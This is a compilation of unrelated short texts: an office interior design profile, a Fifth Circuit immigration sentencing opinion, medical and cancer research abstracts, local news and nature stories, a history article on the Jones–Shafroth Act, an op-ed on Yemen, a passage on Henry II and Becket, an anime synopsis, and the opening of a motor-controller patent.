Architecture, homes inspirations and more.
office 05 by i29 interior architects
After a succesfull collaboration between i29 interior architects and VMX Architects for social workplace Combiwerk, this is another project where both offices joined forces to seamlessly integrate architecture and interior design. For media agency MediaXplain an industrial building with a compliant bold interior is realised in de Houthavens, at the old Port of Amsterdam.
At present the area is rapidly transforming into a residential and working area. This interface between the old and new city and the harbour is reflected in the design for the building. VMX Architects took full advantage of this location’s strong point – the view of the water and docks – with a completely open facade. To achieve this, large glass windows in the facade haven’t been set straight but at an angle (as in a ship’s wheelhouse) to cancel out reflections of the glass.
The interior also refers to the industrial origin of this area. It’s an open plan office with a large open space at the centre of the building. Following the building’s skeleton with it’s raw concrete walls and open layout, i29 interior architects proposed an interior with matching materials such as rough oak wood, black surface walls and furniture, custom designed concrete carpets, gray acoustic ceilings and a large industrial staircase to connect both office floors.
Large desks made of rough oak wood accommodate the employees overlooking the port at the front. A strip of private offices, meeting rooms, print area and pantry is placed at the back. Along the full width of the building a corridor finished in black walls, ceiling and floor connects the different areas. Seen from the main office area, this corridor operates as a cinema with large projection walls for the display of digital work, referring to the clients activities as a media agency.
i29 interior architects stands for a work ethic that leads to design solutions dependent neither on expensive materials nor on technical show. We look for choices that answer to multiple questions at the same time. The integration of both the industrial environment as well as the clients identity as a media agency tells a conceptual story about the company, the space and it’s users. |
United States Court of Appeals
Fifth Circuit
F I L E D
IN THE UNITED STATES COURT OF APPEALS
FOR THE FIFTH CIRCUIT April 21, 2004
Charles R. Fulbruge III
Clerk
No. 03-51382
Conference Calendar
UNITED STATES OF AMERICA,
Plaintiff-Appellee,
versus
CRUZ GERARDO ORTIZ-GALINDO, also known
as Gerardo Ortiz-Galindo,
Defendant-Appellant.
--------------------
Appeal from the United States District Court
for the Western District of Texas
USDC No. EP-03-CR-1390-1-PRM
--------------------
Before JOLLY, JONES, and SMITH, Circuit Judges.
PER CURIAM:*
Cruz Gerardo Ortiz-Galindo appeals the sentence imposed
following his guilty plea conviction of being found in the United
States after deportation/removal in violation of 8 U.S.C. § 1326.
Ortiz-Galindo contends that 8 U.S.C. § 1326(a) and 8 U.S.C.
§ 1326(b) define separate offenses. He argues that the prior
conviction that resulted in his increased sentence is an element
of a separate offense under 8 U.S.C. § 1326(b) that should have
*
Pursuant to 5TH CIR. R. 47.5, the court has determined
that this opinion should not be published and is not precedent
except under the limited circumstances set forth in 5TH CIR.
R. 47.5.4.
No. 03-51382
-2-
been alleged in his indictment. Ortiz-Galindo maintains that he
pleaded guilty to an indictment which charged only simple reentry
under 8 U.S.C. § 1326(a). He argues that his sentence exceeds
the two-year maximum term of imprisonment which may be imposed
for that offense.
In Almendarez-Torres v. United States, 523 U.S. 224, 235
(1998), the Supreme Court held that the enhanced penalties in
8 U.S.C. § 1326(b) are sentencing provisions, not elements of
separate offenses. The Court further held that the sentencing
provisions do not violate the Due Process Clause. Id. at 239-47.
Ortiz-Galindo acknowledges that his argument is foreclosed by
Almendarez-Torres, but asserts that the decision has been cast
into doubt by Apprendi v. New Jersey, 530 U.S. 466, 490 (2000).
He seeks to preserve his argument for further review.
Apprendi did not overrule Almendarez-Torres. See Apprendi,
530 U.S. at 489-90; United States v. Dabeit, 231 F.3d 979, 984
(5th Cir. 2000). This court must follow Almendarez-Torres
“unless and until the Supreme Court itself determines to overrule
it.” Dabeit, 231 F.3d at 984 (internal quotation marks and
citation omitted). The judgment of the district court is
AFFIRMED.
The Government has moved for a summary affirmance in lieu of
filing an appellee’s brief. In its motion, the Government asks
that an appellee’s brief not be required. The motion is GRANTED.
AFFIRMED; MOTION GRANTED.
|
Is it Useful to Calculate Minimal Erythema Dose Before Narrowband UV-B Phototherapy?
The starting dose for narrowband UV-B phototherapy is determined by a patient's skin phototype or minimal erythema dose (MED). Calculation of MED identifies patients with unsuspected photosensitivity. The aim of this study was to investigate the influence of factors such as concomitant use of photosensitizing agents, diagnosis, and combination with acitretin in patients with psoriasis on the frequency and severity of adverse effects in patients with a low MED to narrowband UV-B phototherapy. We undertook a retrospective observational cohort study between February 1, 2009 and March 31, 2015. MED values were classified as normal or low. In total, 302 patients with different skin conditions started narrowband UV-B phototherapy at a dose determined by their MED. No differences were found between patients with a low MED and those with a normal MED for number of drugs taken (P=.071) or use of photosensitizing agents (P=0.806). Following adjustment for age, sex, and phototype, the multivariate analysis showed that psoriasis exerted a protective effect against a low MED (OR=0.31 [95% CI, 0.16-0.58]). No significant risk of erythema or pruritus was detected in patients with a low MED (OR=1.68; 95% CI, 0.91-3.29 and OR=2.04; 95% CI, 0.99-4.22, respectively). Psoriasis protects against a low MED. Although erythema and pruritus were more common in patients with a low MED, the differences were not significant. |
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College News
Women’s Soccer Plays for More Than a Win
10/17/2013
This past Saturday, the St. John Fisher College women’s soccer team began what they hope will become a yearly tradition. They held the first-ever Pancreatic Cancer Soccer Game in memory of Mike McCabe, the late brother of head women’s soccer coach Jill McCabe, who passed away from the disease in 2009.
In the three weeks leading up to Saturday’s game against Alfred, the team held various fundraising events, including a “pie-the-players” fundraiser where parents, family, and friends could pay for the chance to pie any player with a plate full of whipped cream. In addition, the team sold purple pancreatic cancer awareness wristbands and ribbons, and received generous donations from family and friends.
The team managed to keep their efforts secret from their coach. And, on the day of the game, they revealed that secret to McCabe during the pre-game locker room talk, moving her to tears.
“They pulled off a very successful event! Every detail was taken care of— they called my family, called the visiting coach, spoke with Fisher administrators, and surpassed their financial goal. And somehow, through weeks of fundraising and organizing, kept it as a surprise as well,” said McCabe. “It is hard to put into words how much this meant to me and my entire family. I am grateful, honored, and so proud of the team!”
In a pre-game ceremony, team captains Katie Burgstrom, Val Hanson, and Krista Pilla presented McCabe with a check for $1,600. All proceeds will be donated to the Lustgarten Foundation, a non-profit organization solely dedicated to finding a cure for pancreatic cancer. For the duration of the game, the team also wore purple tape, wristbands, and headbands in memory of Mike and to raise awareness for pancreatic cancer.
The Cardinals tripled the original fundraising goal of $500, and went on to defeat visiting Alfred, 2-0. That is more than a win-win. |
Jones–Shafroth Act
The Jones–Shafroth Act () —also known as the Jones Act of Puerto Rico, Jones Law of Puerto Rico, or as the Puerto Rican Federal Relations Act of 1917— was an Act of the United States Congress, signed by President Woodrow Wilson on March 2, 1917. The act superseded the Foraker Act and granted U.S. citizenship to anyone born in Puerto Rico on or after April 11, 1899. It also created the Senate of Puerto Rico, established a bill of rights, and authorized the election of a Resident Commissioner (previously appointed by the President) to a four-year term. The act also exempted Puerto Rican bonds from federal, state, and local taxes regardless of where the bond holder resides.
Impetus
The impetus for this legislation came from a complex of local and mainland interests. Puerto Ricans lacked internationally recognized citizenship; but the local council was wary of "imposing citizenship." Luis Muñoz Rivera, the Resident Commissioner in Washington, argued against US citizenship, giving several speeches in the House of Representatives. On 5 May 1916 he demanded:
Rep. William Atkinson Jones, (D-Virginia), chairman of the House Committee on Insular Affairs, and Sen. John Shafroth, (D-Colorado), chairman of the Committee on Pacific Islands and Puerto Rico, sponsored the legislation which bears their names.
Major features
This Act made all citizens of Puerto Rico U.S. citizens and reformed the system of government in Puerto Rico. In some respects, the governmental structure paralleled that of a state of the United States. Powers were separated among executive
, judicial, and legislatives. The law also recognized certain civil rights through a bill of rights to be observed by the government of Puerto Rico (although trial by jury was not among them).
Citizenship
According with Public Law 414 of June 27, 1952 SEC.302:
§1402. Persons born in Puerto Rico on or after April 11, 1899
All persons born in Puerto Rico on or after April 11, 1899, and prior to January 13, 1941, subject to the jurisdiction of the United States, residing on January 13, 1941, in Puerto Rico or other territory over which the United States exercises rights of sovereignty and not citizens of the United States under any other Act, are declared to be citizens of the United States as of January 13, 1941. All persons born in Puerto Rico on or after January 13, 1941, and subject to the jurisdiction of the United States, are citizens of the United States at birth.
(June 27, 1952, ch. 477, title III, ch. 1, §302, 66 Stat. 236 .)
Sources:
https://uscode.house.gov/statviewer.htm?volume=66&page=236
https://www.govinfo.gov/content/pkg/STATUTE-66/pdf/STATUTE-66-Pg163.pdf
Provisions
The Act abolished racial restrictions found in United States immigration and naturalization statutes going back to the Naturalization Act of 1790. The 1952 Act retained a quota system for nationalities and regions. Eventually, the Act established a preference system that determined which ethnic groups were desirable immigrants and placed great importance on labor qualifications. The Act defined three types of immigrants: immigrants with special skills or who had relatives of U.S. citizens, who were exempt from quotas and who were to be admitted without restrictions; average immigrants whose numbers were not supposed to exceed 270,000 per year; and refugees.
It expanded the definition of the "United States" for nationality purposes, which already included Puerto Rico and the Virgin Islands, to add Guam. Persons born in these territories on or after December 24, 1952 acquire U.S. citizenship at birth on the same terms as persons born in other parts of the United States.[13]
https://en.wikipedia.org/wiki/Immigration_and_Nationality_Act_of_1952
Residents of the island were granted United States citizenship and allowed to reject it voluntarily within six months of the act being established. Of the almost 1.2 million residents on the island only 288 rejected it.
Legislative branch
The Act created a legislative system comprising two houses: a Senate consisting of 19 members and a House of Representatives with 39 members. Under the Spanish colonial government, Puerto Rico had a unicameral legislature, the House of Delegates of Puerto Rico.
The legislature was to be elected by manhood suffrage (limited at the time to white males) for a term of four years. Acts of the Legislature could be vetoed by the governor, but his veto could be overridden by a two-thirds vote, in which case the President of the United States would make the final decision.
Matters relating to franchises and concessions were vested in a Public Service Commission, consisting of the heads of the executive departments, the auditor, and two elected commissioners. A Resident Commissioner to the United States was elected by popular vote for a four-year term; the Resident Commissioner's duties included representing Puerto Rico in the U.S. House of Representatives, with a voice but without vote, as well as before the executive departments in Washington.
Executive branch
Under the Act, six executive departments were constituted: Justice, Finance, Interior, Education, Agriculture, Labor and Health. The governor, the attorney-general, and the commissioner of education were appointed by the President with the approval of the U.S. Senate; the heads of the remaining departments were appointed by the governor of Puerto Rico, subject to the approval of the Puerto Rican Senate.
The Governor of Puerto Rico was to be appointed by the President of the United States, not elected. All cabinet officials had to be approved by the United States Senate, and the United States Congress had the power to veto any law passed by the Puerto Rican Legislature. Washington maintained control over fiscal and economic matters and exercised authority over mail services, immigration, defense and other basic governmental matters. Puerto Rico was not given electoral votes in the election of U.S. President, because the Constitution of the United States of America allows only full-fledged states to have electoral votes.
Triple tax exemption
Section 3 of the act also exempted Puerto Rican bonds from federal, state, and local taxes regardless of where the bond holder resides. This has made Puerto Rican bonds extremely attractive to municipal investors as they may inure from holding a bond issued by a state or municipality different from the one where they reside. This is because municipal bonds that enjoy triple tax exemption are typically granted such exemption solely for bond holders that reside in the state that issues them.
Effects
Conscription
Before the Jones–Shafroth Act, insular Puerto Ricans were not citizens of the United States. Subsequent to the Act, they immediately became U.S. citizens. The act also extended almost all U.S. laws to have the same force and effect in Puerto Rico as in the United States (the only laws excepted were those concerning internal revenues) including the National Defense Act of 1916 which established the composition of the U.S. military. Two months after Congress passed the Jones–Shafroth Act, that same Congress enacted the Selective Service Act of 1917 which based conscription "upon liability to military service of all male citizens." Through its passage, the Jones–Shafroth Act—via a combination of citizenship and the expansion of U.S. laws to Puerto Rico, including the aforementioned National Defense Act—imposed mandatory conscription into the U.S. military on Puerto Ricans, precisely at the moment that the United States entered World War I. As a result, more than 18,000 Puerto Ricans served in the U.S. armed forces during World War I.
Subsequent legislation
Portions of the Jones Act were superseded in 1948, after which the Governor was popularly elected. In 1948, U.S. Congress mandated Puerto Rico to draft its own Constitution which, when ratified by the electorate and implemented in 1952, provided greater autonomy as a Commonwealth.
Notes
References
Further reading
Cabranes, Jose. Citizenship and the American Empire (1979) (legislative history of the statute, reprinted from the University of Pennsylvania Law Review).
Gatell, Frank Otto. "The Art of the Possible: Luis Muñoz Rivera and the Puerto Rico Bill." Americas 1960 17(1): 1-20.
Morales Carrion, Arturo . Puerto Rico: A Political and Cultural History (1984).
Picó, Fernando. Historia general de Puerto Rico. Río Piedras: Ediciones Huracán, (1986).
External links
Jones-Shafroth Act - The Library of Congress
Spanish text
Full text of the Jones Act
Category:Political history of Puerto Rico
Category:United States federal immigration and nationality legislation
Category:United States federal territory and statehood legislation
Category:History of the United States (1865–1918)
Category:1917 in law
Category:1917 in the United States
Category:Legal history of Puerto Rico
Category:United States nationality law |
Wake of the Fire
Winter snow has finally melted, yet thick ice remains in shadowy recesses of caves at Lost River. The pastel green of emerging poplar leaves brings a neon green hue to the monochrome mountain landscape still just reawakening.
Spring arrives late in the mountains. Lost River is located in a particularly cold pocket: rugged Kinsman Notch. The jumbled boulder caves are famed for a subterranean river – the “Lost River” - whose rushing waters disappear and reemerge in a spectacular natural gorge. Kinsman Notch was originally formed by a glacier that seems poised to return each year in late autumn. In summer, the natural air conditioning and natural beauty of Lost River has attracted generations of explorers for more than a century to this cool natural oasis during hot weather.
Things got really HOT last October with just a week to go before the busy Columbus Day weekend and fall foliage tourism peak. Lost River was forced to close early. It’s almost hard to recall after the long winter that a raging forest fire had scorched the steep ledges of the Dilly Cliff overlooking Kinsman Notch and Lost River Reservation in North Woodstock.
The fire started on October 3 and burned for five weeks until it was officially declared out. The Dilly Cliff fire consumed 75 acres of steep terrain located on the White Mountain National Forest and on the Forest Society’s Lost River Gorge. After a flare-up of hot spots on October 17, the wind-driven heavy rain on the pre-Halloween weekend dampened the blaze for good. Soon after, snow returned to Kinsman Notch. Lost River Gorge had closed one week early to ensure public safety and provide a staging area during successful efforts to contain a fire burning on near-vertical terrain.
The firefighting effort was as spectacular as the fire itself. In addition to federal and state resources from the US Forest Service and NH Division of Forests and Lands, more than 29 agencies including 19 municipal fire departments from both NH and Vermont fought the fire alongside the NH Division of Forests & Lands Forest Rangers, Patrols & Special Deputy Forest Fire Wardens, the WMNF Fire Fighters and Law Enforcement, JBI Helicopter Service, a NH National Guard helicopter, the NH Homeland Security and Emergency Management Civil Air Patrol, the Grafton County Sheriff's Department and the Woodstock Police Department. The first week of the fire required 355 firefighters on the ground with helicopters overhead dropping water scooped from the Beaver Pond at the foot of the Beaver Brook cascades.
NH State Forester, Brad Simpkins says that after October 8, State, federal and Woodstock fire personnel remained in smaller numbers on fire mop-up duty while monitoring hot spots until November 7th when the fire was finally fully extinguished. While there have been larger fires in the past decade, none have burned for as long as the Dilly Cliff fire due to the steep terrain and inaccessible recesses of cliff and slopes of loose talus- boulders and loose rock.
Fire Aftermath and Natural Recovery
Six months later, colorful migrant songbirds are returning to forests surrounding the burned area. Warblers sing from the canopy of dark spruce trees mixed among the northern hardwoods: yellow birch, beech and red maple on the valley floor. At the foot of the cliffs, heat-scorched needles of balsam fir trees glow rust-red in the understory where the firefighters lit a controlled “burnout” to clear the thick understory and keep the fire from moving down slope toward the buildings, bridges, boardwalks and staircases at Lost River. It worked: the fire and aftermath had no direct impact on the facilities and attractions.
The former Dilly Cliff Trail is permanently closed. Forest Society staff and volunteers recently closed the trailhead. The trail had always been steep but the fire has rendered it unsafe due to unstable footing and the potential for loose rock tumbling from the steep, burned-over cliffs. The best view of the cliffs is seen from Lost River and the parking lot which is now open for the season.
The perimeter loop trail, the Kinsman Notch Ecology Trail is open during daylight hours. The Forest Society is working to create a new map and sign for the trailhead kiosk including information about the October fire.
The forest will recover starting with lush spring growth in areas with increased sunlight. The spruce trees growing beneath the cliffs remain green but their trunks are charred. Other evidence of the fire includes heat-scalded needles of the conifers: balsam fir and spruce. The hardwoods may fare slightly worse depending on heat damage to their thin bark. The bark of northern hardwood trees is not well-adapted to fire, even a fast moving ground fire intentionally set as a burnout. Charred trunks of yellow birch, beech and maple evidence more damage than would the thick corky bark of more fire-adapted trees in southern NH: pine and oak which do not grow in the higher elevations and northern latitudes. Forests in the interior of the White Mountains are an environment where fire is exceedingly rare, particularly a crown fire with flames burning into the tops of the forest canopy. The forest is resilient and recovery will proceed rapidly such that in a few years, evidence of the fire will be hard to recognize.
Kate Wetherell is manager of Lost River for White Mountains Attractions. As she and the staff prepared for opening day on Friday May 11, the fire is history. “We're super psyched to be reopening, especially after the season was cut short last October. We just want to emphasize to visitors that Spring arrives rather stubbornly in Kinsman Notch. Waterfalls are rushing and the river is running high with the recent snow melt and rainfall. Visitors can expect to see snow along the river and ice filled boulder caves. It is nice to see vegetation starting to turn green again.” |
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More than 100 whales are being held in cramped and potentially illegal enclosures on Russia's Pacific east coast. Prosecutors are investigating the site near the city of Nakhodka, which has been dubbed a "whale jail" by local media.
Eleven orca and 90 beluga whales are being held in the pens, and activists fear they are illegally being sold to Chinese water parks and aquariums, contravening laws on the capture of wild whales.
Some of the animals have been in containment since July, CBS News correspondent Debora Patta reported on Wednesday.
A video shared on social media on Monday shows a whale being lifted out of a small container by a crane in preparation, activists believe, to ship it to China.
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It is illegal to capture wild whales except for educational and scientific purposes following a worldwide ban on commercial whale hunting in 1982. However, orca whales, or killer whales as they are often called, can fetch as much as $6 million at theme parks in China.
Russian newspaper Novaya Gazetta has reported that the four companies that own the containers exported 13 whales to China between 2013 and 2016.
Between 2012 and 2015, the companies allegedly involved were granted permission to capture ten orcas in the wild for educational purposes. However, seven of those whales were exported to China, where one was valued at over $1 million on a customs form.
Earlier this year, Russian authorities called on the Interior Ministry to launch a fraud investigation over the capture and sale of the seven whales.
Other firms are reportedly renting out whales in an effort to get around certain restrictions on the sale of wild sea mammals.
Video shot from a helicopter of the containment tanks shows dozens of beluga whales in tight quarters. Experts say that given the size of the tanks, many of the whales must be calves. The capture of whale calves is categorically forbidden, even for scientific or educational reasons.
Greenpeace Russia has condemned the conditions as "torture," and warned that capturing whales in these numbers threatens the animals' population in the long term.
The Telegraph quoted Greenpeace Russia's Oganes Targulyan as saying that although the law permits the capture of 13 killer whales per year, "no one is taking into account that at least one orca is killed for every one that is caught."
"Catching them at this tempo, we risk losing our entire orca population."
In the nearby Kamchatka region, orca numbers have decreased so drastically that they are now listed as endangered. |
The story revolves around Rin Okumura, a teenager possessing abnormal strength and endurance who, along with his twin brother Yukio, was raised by Father Shiro Fujimoto, an Exorcist. One day, Rin learns that he and Yukio are the sons of Satan, the strongest of all demons. Witnessing Shiro dying to protect him, Rin ends up doing what his guardian asked him never to do: draw the demon-slaying blade Kurikara, which restrains his demonic powers, from its scabbard. From that moment on, Rin not only gains permanent demonic features like fangs, pointed ears, and a tail, but also the power to ignite himself into blue flames that can destroy almost anything they touch.
At Fujimoto's funeral, Rin has an encounter with Fujimoto's friend Mephisto Pheles, who agrees with Rin's wish to become an Exorcist like his guardian to become stronger and to defeat Satan. Rin enrolls at the prestigious True Cross Academy, which is actually the Japanese branch of an international organization dedicated to protect the human realm, Assiah, from demons and other creatures from the demonic realm, Gehenna. Rin takes part in a special Exorcist course, the existence of which is known only by a few. Much to his surprise, he finds that his brother, Yukio, is already a veteran exorcist and becomes one of his teachers. Thus Rin's journey to become an Exorcist begins, accompanied by his brother and his fellow students who quickly become his friends and comrades-in-arms. |
The way to post-Saleh unity in Yemen may be through less centralised state control, not more.
Amherst, MA – Yemen’s President Ali Abdullah Saleh is finally gone, but the question of “what next” remains tied to old understandings of what plagues the country. Yemen is a weak state, we are repeatedly told, which faced two strong challenges even before the outbreak of the Arab uprisings: 1) The secession impulses of southerners fed up with the repressive northern-dominated regime; 2) The armed conflicts from the northern Houthi rebels against the regime, ongoing since at least 2004.
Yemen’s fractured condition poses particular problems in imagining how it can exist harmoniously when viewed through the worldwide idealisation of the strong consolidated state. Some scholars and pundits have suggested that the nation-state system is in decline. It is true that international organisations and multinational corporations may be gaining strength, but strong centralised states still dominate.
The neoliberalisation of the global economy – in which states are more aggressively advancing global trade and foreign investment – has not led to a decline in state power. On the contrary, newer and more pervasive forms of securitisation have been needed to promote those programmes, with regimes remaining central to those efforts. In such a global context, countries such as Yemen make the international community nervous, because the centralised state appears to be fragile – or even failing.
The Stream – What is in store for Yemen after Saleh?
But, as those who scrutinise Yemen closely understand, that regime has done best when not attempting a complete centralisation of control over all of its territory. Ali Abdullah Saleh’s regime – which may have finally ended with his departure from Yemen – survived for decades through a combination of clientelism and coercion. But it would be a mistake to imagine him as a brilliant manager and manipulator of diverse interests.
Closer to the truth is that Yemen has survived because so many forces in the country wanted and needed it to survive – despite Saleh’s ineptitude. He seems to have succeeded only in preserving his rule, but his efforts to exert control over the whole of Yemeni territory have been nothing short of a failure. Indeed, in some northern, eastern and southern provinces, military officers are virtually confined to their outposts and can operate only with the approval of local authorities.
So with Saleh’s departure, what next? The United States has been concerned with Yemen, primarily because of the reported presence of al-Qaeda in the country. Ironically – and perhaps not coincidentally – the presence of al-Qaeda-linked movements has reportedly grown with Washington’s increased interventions there. Washington’s strategies somehow continue to be shaped by a grossly outdated anti-terrorism narrative, although, with the Arab uprisings, it seems open to adopting some other narrative, as long as it can largely control it.
That is, the US wants a strong centralised state that can crush al-Qaeda operatives, exert control over the country, rein in tribal and other rebels, and provide added security to trade transiting the Red Sea. In an era of worldwide imagining of new political futures, Yemen’s problems should not be yet again reduced to questions of security and stability.
This security focus is a function of perceived US interests, not the Yemeni people’s interests (though of course, one should also question whether Washington’s interests are the interests of the people of the US). And a security focus is also likely to be counter-productive.
The past year has demonstrated that what Yemenis really want is a pluralist system, in which strong regional needs and identities (which are not only religious or tribal) are addressed through a looser, federalised state system. In fact, Yemenis have been asking for precisely such a system for more than a decade.
Followers of Yemen in the early 1990s will not be surprised by the boldness of Yemenis in demanding a truly representative, democratic government. Those voices were hijacked and contained for two decades by a regime that advanced state centralisation, along with the systematic exclusion of opposition voices.
The GCC plan, however, has maintained power in the hands of the regime, via control of the executive and the military, even while diverse populations throughout the country continue to express demands ranging from increased autonomy, to an end to endemic corruption, to full-on democracy.
If Yemen is to enter a new phase, it must be through the creation of a new parliament that is more broadly representative. As it is, the GCC agreement includes no provisions to broaden participation or combat corruption, despite those being major demands of many protesters.
Elites connected to Saleh’s regime retain dominance in the assembly. As a result, the sitting parliament, which has little interest in fundamental change, is overseeing the “transition” process. For their part, GCC countries also have little interest in building a democratic Yemen or in advancing good governance.
Meanwhile, Yemenis have not ceased in their protests. Sit-ins, marches, work stoppages and all manner of demonstrations continue throughout the country, and not only in the capital, Sanaa. The Houthi rebels in the north have, to some extent, sought to refashion themselves as anti-government protesters, and have periodically joined other protesters in the capital. Southerners have learned that not all northerners support Saleh’s regime, a realisation that seems to have put secessionist plans on hold.
The country has long been among the world’s poorest, but the situation has deteriorated in recent months. Some southern regions are experiencing full-on famine and the water depletion is terrifying. The country is headed for a humanitarian crisis of epic proportions and hundreds of thousands are already internally displaced.
And while the regime is regrouping, large parts of Yemen are already under localised rule, having had to manage themselves for years in the face of the regime’s ineptitude. Yemenis are not half as terrified as Washington of a decentralised Yemen; they have been familiar with the waxing and waning of central state authority for decades.
For Yemen to move forward, the dialogue needs to include more than the old regime discussing a transition with input from old monarchs from the Gulf. A new era for Yemen needs to be truly inclusive, unified but not highly centralised.
Jillian Schwedler is Associate Professor of Political Science at the University of Massachusetts, Amherst, and author of Faith in Moderation: Islamist Parties in Jordan and Yemen (Cambridge 2006). |
You should answer thus: “as Lazarus in his lifetime received evil things so will I now gladly suffer torments that future glory may be laid up for me.” For “affliction shall not rise up the second time.” Nahum 1:9
and also effectively in the legal maxim which is derived from Greek and Roman civil law
Nemo debet bis vexari pro eadem causa
No one should be called on to answer to the same complaint twice.
King Henry's motive was this, or so it is reported that he stated.
That in order to allow for the prosecution of those clerics who have been accused of committing public crimes, he wanted to bring back those practices which were in force in the courts in the time of his grandfather.
[This is questionable as many modern historians have commented that clause 3 was legally something completely new, and that no such law appertained in the time of Henry I. And if it did it was much weaker in essence.]
Henry's argument was this:
For such persons who have been caught and who have been convicted or have confessed, and have subsequently been degraded, they should thus be received for public punishment as if they were lay persons, and subject to seizure.
[Possibly reasonable, but Becket argued that this was completely contrary to the Canon Law of his time and the principle that no one should be tried for the same crime twice.]
Clause 3 was problematic. Its wording was ambiguous, perhaps deliberately so. Maitland has commented, that there were not really two trials. The first trial in the ecclesiastical court was where the cleric confessed to him crime, and as a consequence lost his place in the Church, lost his clerical status. and for this, he was defrocked, an insufficient punishment in Henry's mind for the commission of a felony, which was a kind of feudal treason. Maitland argued that Henry saw that the trial that was held in the ecclesiastical court was only a kind of preliminary hearing. The real trial of the now former cleric could now take place in the king's court, as he no longer had the Church's protection and it was in the king's court where the former cleric could receive a proper and fitting punishment for the crime he has committed. All Henry was arguing was that the Church should not protect clerics who commit felonies.But Becket insisted that the trials of clerics which take place in ecclesiastical court are full and real trials, and the punishments or penances they receive there are fit and proper. Becket argued that clerics who have committed crimes and have been thus tried, should not suffer a second trial for the same crime in another court, as this was contrary to Canon Law.But who or where do you make an appeal to for a resolution on this point of law? Becket decided that it was the Pope and his Curia who had the proper authority to make a decision on this matter. But he was formally disallowed by English customary law from communicating with and making an appeal to the Pope without the king's consent. He was also disallowed from travelling abroad. In Henry's mind it was the king who formed the highest level of appeal in England. He was sovereign in his country. He had been given full authority to administer justice in England by his coronation. He was only answerable to God for his acts, not the Pope. It was thus that the quarrel between Becket and Henry erupted into a major controversy, which took many years to reach a kind of resolution, and which involved Becket attempting to go abroad, his trial for treason, following which he escaped into exile in France, and the years of negotiation which followed. The Pope did condemn clause 3.
[William] the Conqueror was accustomed to intervene when for a serious crime the sentence of the Christian court seemed to be too lenient and to keep the defendant in jail until after a further review of the case had taken place.
R. Génestal, The Privilegium fori Volume. II, p. 100, asserts without evidence to support that the custom of France and Normandy was then in line with the procedure described in Article III of Clarendon. We think not. For Normandy at least we can get an idea of how clerical criminals were treated from a case described by Arnulf of Lisieux probably prior to 1166 This concerns a counterfeiter from Bayeux imprisoned by the king's officers, who was released through the efforts of the ordinary [bishop], and subject to leave the duchy after degradation (Patrologia Latina, Volume CCI, Letters of Arnulf of Lisieux 144 edited by F. Barlow. p. 176-177, in Simon Bishop of Meaux, quoted by Haskins, op. cit., p. 171). In our opinion, this does not mean that the cleric in question appeared in the court of the king, but that he was under the threat of such an appearance if the ordinary had claimed it in time; he seems to have benefited from a compromise negotiated by the bishop, while the justices of Henry II tried to assert justly that the case belonged in the ducal court, if not for this but for other crimes which clerics were also guilty (the penalty for counterfeiters was mutilation).
There is a certain Henry dwelling amongst you who is from the land and episcopacy of my birth. He was promoted irregularly into holy orders by a foreign bishop who happened to be there. But later on, after the passage of time, he was involved in many crimes, confessing to counterfeiting for which he was publicly convicted, of the manufacture of false coins which he had not been afraid to circulate throughout the whole city of Bayeaux, and with which evily to defraud the unwary. He was arrested, and thrown into prison by the king's most noble officers where, of course, his legs were bound with iron fetters.
At length, however, after considerable effort and labour by the bishop of the city he was delivered from this, on pain of banishment in perpetuity from the whole of the province of Normandy. And of course he was brought before the archbishop whence the circle of the tonsure around his head was broken, his priestly garments torn from him, degraded he was cast out from whole land [of Normandy] forever. |
Regulation of SIRT1/AMPK axis is critically involved in gallotannin-induced senescence and impaired autophagy leading to cell death in hepatocellular carcinoma cells.
Hepatocellular carcinoma (HCC) is one of the most fatal malignancies with high mortality worldwide. Here the underlying antitumor mechanism of gallotannin was elucidated in HCC cells. Gallotannin suppressed viability and colony formation, increased subG1 portion and also induced senescence via upregulation of p21, G0/G1 arrest and higher SA-β-gal activity in HepG2 and SK-Hep1 cells. However, pan-caspase inhibitor Z-VAD-FMK reversed the ability of gallotannin to activate caspase 3 at 48 h after treatment in two HCC cells. Of note, gallotannin also induced autophagic features by increasing LC3 punctae, LC3B-II conversion, autophagic vacuoles and decreasing the expression of Beclin1 in two HCC cells. Furthermore, autophagy flux assay using GFP-mRFP-LC3 plasmid revealed increased yellowish color and late autophagy inhibitor CQ or NH4Cl enhanced cytotoxicity, LC3B-II conversion, and LC3 punctae in gallotannin-treated HepG2 and SK-Hep1 cells compared to early autophagy inhibitor 3-MA or wortmannin. Interestingly, gallotannin attenuated the expression of SIRT1 and mTOR and activated phosphorylation of AMPK in two HCC cells. Furthermore, AMPK activator AICAR significantly enhanced SA-β-gal activity and antiproliferation induced by gallotannin, while AMPK inhibitor compound C did not in two HCC cells. Consistently, LC3B-II conversion by gallotannin was not shown in AMPKα1 -/- MEF cells compared to WT AMPK +/+ MEF cells. Consistently, gallotannin reduced in vivo growth of HepG2 cells implanted in NCr nude mice along with decreased expression of PCNA and SIRT1 and increased AMPKα1 and TUNEL. Overall, these findings highlight evidence that regulation of SIRT1/AMPK is critically involved in gallotannin-induced senescence and impaired autophagy leading to cell death in HCC cells. |
1. Field of the Invention
The present invention relates to a controller for controlling switching elements of a power supplying apparatus for supplying power to a load such as a three-phase motor through the switching elements.
2. Description of the Prior Art
FIG. 7 shows a circuit diagram of the main circuit of a power supplying apparatus controlled by a prior art controller of power supplying apparatus. Referring to FIG. 7, reference numeral 1 denotes a three-phase motor as a load. Reference numeral 2 denotes a DC power source. Reference numeral 3 denotes the switching element on the positive-phase side of the U-phase circuit. Reference numeral 4 denotes the switching element on the negative-phase side of the U-phase circuit. Reference numeral 5 denotes the switching element on the positive-phase side of the V-phase circuit. Reference numeral 6 denotes the switching element on the negative-phase side of the V-phase circuit. Reference numeral 7 denotes the switching element on the positive-phase side of the W-phase circuit. Reference numeral 8 denotes the switching element on the negative-phase side of the W-phase circuit. The switching elements 3 to 8 are rendered conductive when the gate voltage is at an L level. Reference numeral 9 denotes an interface circuit responsive to control signals from a controller 10 for controlling the switching elements 3 to 8. Reference numeral 10 denotes the controller.
